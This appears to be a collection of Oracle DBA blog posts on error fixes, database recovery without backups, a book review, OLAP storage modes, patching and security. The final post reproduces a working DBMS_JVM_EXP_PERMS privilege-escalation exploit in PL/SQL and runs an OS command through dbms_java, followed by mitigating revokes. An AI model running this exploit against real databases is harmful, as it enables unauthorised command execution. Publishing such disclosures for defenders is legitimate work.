NQSError 46036 Oracle BI Administration Tools Client

when trying to open oracle bi administration tool client, You can download oracle bi administration tool client from here.

Cause :-

Most probably this error related to version mismatch between OBIEE Server and Administration Tool Client in my case OBIEE Version 11.1.1.7.1 and Administration Tool client 11.1.1.7.0

Solution :-

1- Download Upgrade Patch 17530796 From http://support.oracle.com depend on operating system
2- Patch contain multiple file search for this one :- p17463403_111170_Generic.zip
3- inside this zip file browse

17463403\files\clients\biserver\

4- you will find two files biee_client_install_x64.exe Or biee_client_install.exe depend on version.
5- Install One of this file to upgrade Administration tools, Use Repair Option.

Thank you
Osama Mustafa

No Backup !!! Think Again

While I was drinking my coffee yesterday in the office, A Customer Called me complaining that Non Production Database Is not working and Database Administrator quit his job without any Handover the situation was so creepy, This database hold Fusion middleware Repository and configuration, The development team use it before deploy anything on Production Database ( No Backup configured !!!! ),  

Trying to Recover Database and Open it with Resetlogs will lead to this error :-

ORA-01547: warning: RECOVER succeeded but OPEN RESETLOGS would get error below
ORA-01194: file 1 needs more recovery to be consistent
ORA-01110: data file 1: ‘/u01/app/oracle/oradata/NPDB/system01.dbf’

This Error is only apart of the problem, To solve it :-

Recover database using file name (Redolog) to get the current filename :-

SQL > Startup mount ;

 SQL > select member from v$logfile lf , v$log l where l.status=’CURRENT’ and lf.group#=l.group#;

 MEMBER
——————————————-
/u01/app/oracle/oradata/NPDB/redo03.log

SQL > Recover database using backup controlfile until cancel ; 

 Specify log: {=suggested | filename | AUTO | CANCEL}

 /u01/app/oracle/oradata/NPDB/redo03.log ( From the Above Query ).

Log applied.
Media recovery complete.

 Trying to open database :-

SQL > Alter database open Resetlogs ;

Failed !!!! with Another Datafile which is UNDO.

 ORA-01110: data file 4:’/u01/app/oracle/oradata/NPDB/UNDOTBS01.DBF’

SQL  > Create Pfile from Spfile ;

Modify the pfile and add the hidden parameter :-

_allow_resetlogs_corruption=True  

But this Not Solved the problem either.

Again Edit Pfile But this Time :-

undo_management=manual
undo_tablespace=UNDOTBS1 

SQL> select name from v$datafile; 

NAME
——————————————–
/u01/app/oracle/oradata/NPDB/SYSTEM01.DBF
/u01/app/oracle/oradata/NPDB/UNDOTBS01.DBF
/u01/app/oracle/oradata/NPDB/SYSAUX01.DBF
/u01/app/oracle/oradata/NPDB/USERS01.DBF
……………………

SQL > alter database datafile ‘/u01/app/oracle/oradata/NPDB/UNDOTBS01.DBF’ offline drop;

ERROR at line 1:
ORA-01548: active rollback segment ‘_SYSSMU11$’ found, terminate dropping tablespace

Check Segment that Needs Recovery :-

SQL>select segment_name,status,tablespace_name from dba_rollback_segs where status=’NEEDS RECOVERY’; 

SEGMENT_NAME STATUS TABLESPACE_NAME
—————————— —————- —————–
_SYSSMU11$ NEEDS RECOVERY UNDOTBS1
_SYSSMU12$ NEEDS RECOVERY UNDOTBS1
_SYSSMU13$ NEEDS RECOVERY UNDOTBS1 

Add the following line to pfile:

_corrupted_rollback_segments = (‘_SYSSMU11$’,’_SYSSMU12$’,’_SYSSMU13$’);

SQL > Startup mount pfile=’/u01/osama.ini’;
SQL > drop rollback segment “_SYSSMU11$” –> Drop all the above Segments ;

Drop the Undo And Recreate it again.

SQL > Startup ;

SQL> create undo tablespace UNDOTBS2 

datafile ‘/u01/app/oracle/oradata/NPDB/UNDOTBS02.DBF’ size 1G;

Remove All Hidden Parameter and restore UNDO_Managment Parameter to AUTO and UNDO_TABLESPACE=UNDOTBS2 then :-

SQL> create spfile from pfile; 

first Advice  Enable RMAN Please

 Thank you
Osama Mustafa

Reference :-
1- Doc ID 94114.1
2- Doc ID 1295294.1
3- Doc ID 28226.1

Oracle Database 12c Backup and Recovery Survival Guide

Oracle 12c Released in July 2013, and with every release for new oracle database version we expect huge amount of book to be released also, Books Talking about new Features, Administration, RAC, Data Guard,and finally Backup and Recovery.

When I am looking  for Oracle book it should have three Main things at least :

  • Description ( Table Of Content )
  • Examples for the new features.
  • Cover The specific topic and cover it so well.
Recently i received an email from Packt Publishing WebSite Here to review A book for Oracle 12c Related to Backup and Recovery, the Book Title

            ” Oracle Database 12c Backup and Recovery Survival Guide”

The above book written  by two oracle experts

  • Francisco Munoz ( Oracle ACE Director )
  • Aman Sharma ( Oracle ACE )
And Trust me when i am saying i need another post to talk about these two author. the books contain an amazing information for every DBA, it’s not necessary to be an expert to buy this book because they already covered everything from beginning with Examples or should i say with Lot of examples, what i would say here i recommended this book because it’s contain best practice for Backup and Recovery Covered by two Oracle Experts.
Description for Table Of Content :

Chapter 1: Understanding the Basics of Backup and Recovery 
First Chapter describe the Backup basic, why the backup is very important and what is the most common issue 

Chapter 2: NOLOGGING Operations
I have to say this chapter give me new idea about Nologging, and describe Best Solution for Nologging and Logging Operating in Database. 
Chapter 3: What is New in 12
Discuss 12c New Feature Related to Backup and Recovery ( RMAN,Datapump .. ) and simple description about multitenant Features and Architecture. 
Chapter 4: User-managed Backup and Recovery
Describe All kind of backup,Offline,cold and hot with Examples and Description for these example.

Chapter 5: Understanding RMAN and Simple Backups
This Chapter Describe RMAN Architecture & RMAN Concept Backup and how to use RMAN with oracle 12c,how to backup Controlfile, Spfile and Archive log,how to use Fast Incremental Backup. 
Chapter 6: Configuring and Recovering with RMAN
This Chapter Covered how to configure database for backup and recovery and how to configure RMAN for Backup, All the configuration covered by Examples and Lot Of scenarios.Configuration for Compression backup,snapshot and authentication for RMAN.

Chapter 7: RMAN Reporting and Catalog Management
From the Name of this chapter it’s covered RMAN Catalog and Report command and List command to get query and check backup.

Chapter 8: RMAN Troubleshooting and Tuning

This is Excellent Chapter for All DBA it’s Contains information how to troubleshoot RMAN,Tune RMAN, and how to monitor RMAN Session , Useful for Every DBA.
Chapter 9: Understanding Data Pump
This Chapter talking about Data Pump Architecture and Examples how to move data use data pump.
Chapter 10: Advanced Data Pump
If you want to move to next level and Increase your knowledge about Data pump , this chapter contains topics every DBA needs such as create small copies of production, create database in different file Structure, Moving Object from one table space to another and other excellent topics.

Chapter 11: OEM12c and SQL Developer
Enterprise manager 12c and Sql Developer friends for DBA, and Have been used started to used by DBA’s  All the above chapter using the command Line, but this one describe how to use these Two Tools to Configure backup and monitor backup, using export/import with EM12c.

About the Author :

has over two decades of experience in consulting, analysis, support, implementation, and migration of Oracle products. He is also an expert in most phases of a database life cycle, for example, development, stabilization, security, backup and recovery, tuning, installations, and data warehouse (ETL) with excellent implementation and support methodologies. He is a popular speaker at many Oracle conferences around the world.

is an Oracle Database consultant and instructor. He holds a Master’s degree in Computer Applications and has been working with Oracle Database for over a decade. His main focus is to understand how Oracle Database works internally. Besides the core database, he has a very strong knowledge of Linux, Solaris, Oracle RAC, Data Guard, RMAN, Oracle Exadata and Oracle Enterprise Manager.


You can Order the Book Now :

Finally i would thank Francisco & Aman for this amazing Book.

Thank you 
Osama Mustafa


MOLAP, ROLAP And HOLAP

I would like to share this article that i found recenly on internet talking about Online Analytic Processing By John Here

Cubes in a data warehouse are stored in three different modes. A relational storage model is called Relational Online Analytical Processing mode or ROLAP, while a Multidimensional Online Analytical processing mode is called MOLAP. When dimensions are stored in a combination of the two modes then it is known as Hybrid Online Analytical Processing mode or HOLAP.

MOLAP 

This is the traditional mode in OLAP analysis. In MOLAP data is stored in form of multidimensional cubes and not in relational databases. The advantages of this mode is that it provides excellent query performance and the cubes are built for fast data retrieval. All calculations are pre-generated when the cube is created and can be easily applied while querying data. The disadvantages of this model are that it can handle only a limited amount of data. Since all calculations have been pre-built when the cube was created, the cube cannot be derived from a large volume of data. This deficiency can be bypassed by including only summary level calculations while constructing the cube. This model also requires huge additional investment as cube technology is proprietary and the knowledge base may not exist in the organization.

ROLAP  

The underlying data in this model is stored in relational databases. Since the data is stored in relational databases this model gives the appearance of traditional OLAPs slicing and dicing functionality. The advantages of this model is it can handle a large amount of data and can leverage all the functionalities of the relational database. The disadvantages are that the performance is slow and each ROLAP report is an SQL query with all the limitations of the genre. It is also limited by SQL functionalities. ROLAP vendors have tried to mitigate this problem by building into the tool out-of-the-box complex functions as well as providing the users with an ability to define their own functions.

HOLAP  

HOLAP technology tries to combine the strengths of the above two models. For summary type information HOLAP leverages cube technology and for drilling down into details it uses the ROLAP model.

Comparing the use of MOLAP, HOLAP and ROLAP

The type of storage medium impacts on cube processing time, cube storage and cube browsing speed. Some of the factors that affect MOLAP storage are:

Cube browsing is the fastest when using MOLAP. This is so even in cases where no aggregations have been done. The data is stored in a compressed multidimensional format and can be accessed quickly than in the relational database. Browsing is very slow in ROLAP about the same in HOLAP. Processing time is slower in ROLAP, especially at higher levels of aggregation.

MOLAP storage takes up more space than HOLAP as data is copied and at very low levels of aggregation it takes up more room than ROLAP. ROLAP takes almost no storage space as data is not duplicated. However ROALP aggregations take up more space than MOLAP or HOLAP aggregations.

All data is stored in the cube in MOLAP and data can be viewed even when the original data source is not available. In ROLAP data cannot be viewed unless connected to the data source.

MOLAP can handle very limited data only as all data is stored in the cube.

Thank you
Osama Mustafa

Oracle Security Topic, what you should be Afraid of ?

Again !!!!

SQL injection Occur when someone ( Hackers ) Writing Web application code that access to your database this code contain special format.

As DBA you need to understand who access to database and corporate with developers and make sure they are connect in secure way. and Use good SQL statement to avoid SQL injection, because of this Don’t relay on your firewall always make sure you secure your database and your code before start working on firewall, i am not saying here firewall will not protect your database yes it will but don’t forget now these days we have devices and complex network wireless, IPAD , Mobiles , Devices and Laptop are connected to your network, so in that case firewall will not protect you 100%, secure for better reasons 🙂

Users connect to database using Listener, Even database is down and listener is up user can still open connection to database ( which is caused the problem ) you can access to the server because there is no authentication way in listener, lot of examples on this type of attackes.

to solve this issue you need to Patch & patch OS and Database to ensure all security bugs and fixed.

there’s different type of oracle vulnerabilities Buffer overflow , listener issues , misunderstanding configuration and PL/SQL which indicate to SQL injection. most of our fears is not outside hackers/attacker it’s internally such as employee, hacking lessons online on internet and free everyone want to try it where mostly in work, in 2008 reports indicate that 26% of hacking issues happened because employee ignorant.

Company ignore security side because Resource such as money and consultant but they will not do that after they get hacked and lose everything data and customer information.

Most of the company has network administrator and system administrator so if you secure OS & network well your database will be secure.

Thank you
Osama Mustafa

 

what is oracle inventory

While installing Oracle software new folder Directory created in ORACLE_BASE called oinventory  what is it ? and what the benefits of using this folder ? What kind of information will be stored ?

The inventory is created once you install Database or used for upgrades and patches. two kind of oracle inventory  one called central inventory per server and another one called local inventory for each ORACLE_HOME, the difference between each of them central inventory basically contains a high-level list of components installed on the server. It is updated each time components are installed or uninstalled but it does not have detailed information such as the patch level of each ORACLE_HOME. on another hand  local inventory  contains some component information included with patch-level information.

another different is The Central Inventory contains the information related to all Oracle products installed on a host. and consists of a file called inventory.xml, which lists all the Oracle Homes installed on the node.

for local inventory ( $ORACLE_HOME/inventory ) that contains the detail of the patch level for that ORACLE_HOME. The Local Inventory gets updated whenever a patch is applied to the ORACLE_HOME, using OUI. If the Local Inventory becomes corrupt or is lost, this is very difficult to recover, and may result in having to reinstall the ORACLE_HOME and re-apply all patchsets and patches.
For More Information about this topic refer to MOS : 
 Global and Local Inventory explained [ID 360079.1]
FAQs on Central Inventory and Oracle Home Inventory (Local Inventory) in Oracle RDBMS [ID 564192.1]
Thank you 
Osama mustafa

Oracle APPS DBA vs Oracle DBA

Name Different In One Thing Apps , Both Are DBA for the same corporation but before going further you need to know what the definition for both of them what APPS DBA mean and What Oracle DBA mean ?

Oracle DBA ( Database Administrator ) is the person who responsible for administration , Monitor , tuning and recover database ( Failure cases ) For Oracle Database this Person Called Oracle DBA.

Lot of Jobs and Tasks for this Person

  • Installing and upgrading the Oracle server and application tools
  • Allocating system storage and planning future storage requirements for the database system
  • Creating primary database storage structures (tablespaces) after application developers have designed an application
  • Creating primary objects (tables, views, indexes) once application developers have designed an application
  • Modifying the database structure, as necessary, from information given by application developers
  • Enrolling users and maintaining system security
  • Ensuring compliance with your Oracle license agreement
  • Controlling and monitoring user access to the database
  • Monitoring and optimizing the performance of the database
  • Planning for backup and recovery of database information
  • Maintaining archived data on tape
  • Backing up and restoring the database
  • Contacting Oracle Corporation for technical support
    For More Information Read oracle Documentation Here.
    in he big company that required 24/24hr monitor for more than one database therefore you cannot assign everything to this person he will be killed. So two kind of DBA appeared to reduce Tasks 
    Development DBA   & Production DBA each one of them has it’s own job and Tasks.
    Development DBA: 
    well from the name you can see it’s person who works closely with developers team to make sure database design and performance are working find without any problems.
    Production DBA
    Person who responsible to ensure that Database for this company is healthy and running without any problem it’s not easy job since this type of Database is the main database for company so you have to ensure it’s working fine or you will be fired.
    I mention before of my blog how to become DBA and what you need to do that ? Good understanding of the Oracle database,  understanding of the underlying operating system ,  how Oracle acquires and manages resources, knowledge of both database and system performance tuning,communication skills , management , and ability to handle multiple projects and deadlines all this Hints to become DBA. Read my Post About “how to become DBA” Here 
    After you have small knowledge about DBA tasks and What he is doing ? Let’s talk about APPS DBA.
    Simply the equation :
    ORACLE APPS DBA = Application* + Database.
    *Which Application is Fusion Middle Ware Products from Oracle.
    If you are aware of all the previous tasks  then you are able to be Oracle APPS DBA, Oracle APPS DBA include all Oracle DBA tasks and it’s very huge subject to learn and explorer.
    So the Task for APPS DBA :
    • All Oracle DBA tasks.
    • Patching
    • Cloning 
    • Maintenance Oracle Application.
    • Installations Oracle EBS.

    So as conclusion Oracle APPS DBA is an Oracle DBA because of this he can switch easliy between this job Role, and don’t let this disappointed you also Oracle DBA can switch to APPS DBA but he must read LOT.

    Thank you 
    Osama Mustafa  

    Describe Oracle Patches

    Regarding to Oracle Documentation patch is program (set of instructions) to fix a particular problem or enhance/ add a particular feature in existing program/product/software. And There’s Four kind of Oracle Patches :

    • One-off patches (bug fix)
    • CPU (security patches)
    • Upgrade patches (bug fixes)
    • PSU (bug fixes are security patches)

    There’s another kind called Bundle Patched for windows and exadata.
    The most two kind of patch that people get little confused about them is CPU and PSU what are they ? when should i use them ?  is there any different between them ?

    First Thing you need to know about them since they have different name then sure it’s have different.

    CPU:  security fixes each quarter rather than the cumulative database.

    PSU : same as CPU  patches but include both the security fixes and priority fixes.Note Once a PSU is applied, only PSUs can be applied in future quarters until the database is upgraded to a new base version.
    Which mean you can’t Apply CPU and PSU and same database.

    Some MOS note that could be Useful :

    Introduction to Oracle Patch Set Updates (PSU) 854428.1
    Quick Reference to Patchset Patch Numbers [ID 753736.1]
    Quick Reference to Patch Numbers for Database PSU, SPU(CPU), Bundle Patches and Patchsets [ID 1454618.1]
    New Patch Nomenclature for Oracle Products [ID 1430923.1]

    PSU  contain fix for bugs that cause Instance crash,Wrong results and Data Corruption on the other hand Dictionary changes , Major Algorithm changes ,and Optimizer plan changes not fixed by PSU.

    to check Applied PSU patched you need to run :

    opatch lsinventory -bugs_fixed | grep -i ‘DATABASE PSU’

     and if you need to check CPU :

     Select * from registry$history;

    Thank you
    Osama mustafa

    DBMS_JVM_EXP_PERMS OS Command Execution / Hack Oracle

    DBMS_JVM_EXP_PERMS package that allows any user with create session privilege to grant themselves java IO privileges. Identified by David Litchfield, Also you need to know this way of hacking it’s only works on Windows and Oracle database version infected 10gR2,11gR1  and 11gR2.

    The below demonstration explain how to use it :

    SQL> CONNECT / AS SYSDBA
    Connected.
    SQL> CREATE USER Test IDENTIFIED BY Test;

    User created.

    SQL> GRANT CREATE SESSION TO Test;

    Grant succeeded.

    SQL> SELECT TYPE_NAME, NAME, ACTION FROM DBA_JAVA_POLICY WHERE GRANTEE = ‘TEST’;

    no rows selected

    SQL> CONNECT Test/test
    Connected.

    SQL> DECLARE
       POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
       CURSOR C1 IS SELECT
    ‘GRANT’,’GREMLIN’,’SYS’,’java.io.FilePermission’,'<FILES>>’,’execute’,’ENABLED’ FROM DUAL; 
      BEGIN
      OPEN C1;
      FETCH C1 BULK COLLECT INTO POL;
      CLOSE C1;
      DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
      END;
      /

    PL/SQL procedure successfully completed.

    SQL> CONNECT / AS SYSDBA
    Connected.

    SQL> COL TYPE_NAME FOR A30;
    SQL> COL NAME FOR A30;
    SQL> COL ACTION FOR A10;
    SQL> SELECT TYPE_NAME, NAME, ACTION FROM DBA_JAVA_POLICY WHERE GRANTEE = ‘TEST’;

    TYPE_NAME                      NAME                           ACTION
    —————————— —————————— ———-
    java.io.FilePermission         <>                  execute

    As you see at first User Test Only has Create Session Privileges but after using the above package he now can execute any OS Command using Java Code.

    select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst’)from dual;

    To secure your database against this :

    revoke execute on dbms_java from PUBLIC;
    revoke execute on dbms_java_test from PUBLIC;
    revoke execute on “oracle/aurora/util/Wrapper” from PUBLIC;
    grant execute on sys.dbms_jvm_exp_perms to IMP_FULL_DATABASE;
    grant execute on sys.dbms_jvm_exp_perms to EXP_FULL_DATABASE;
    revoke execute on sys.dbms_jvm_exp_perms from PUBLIC;

    Thank you
    Osama Mustafa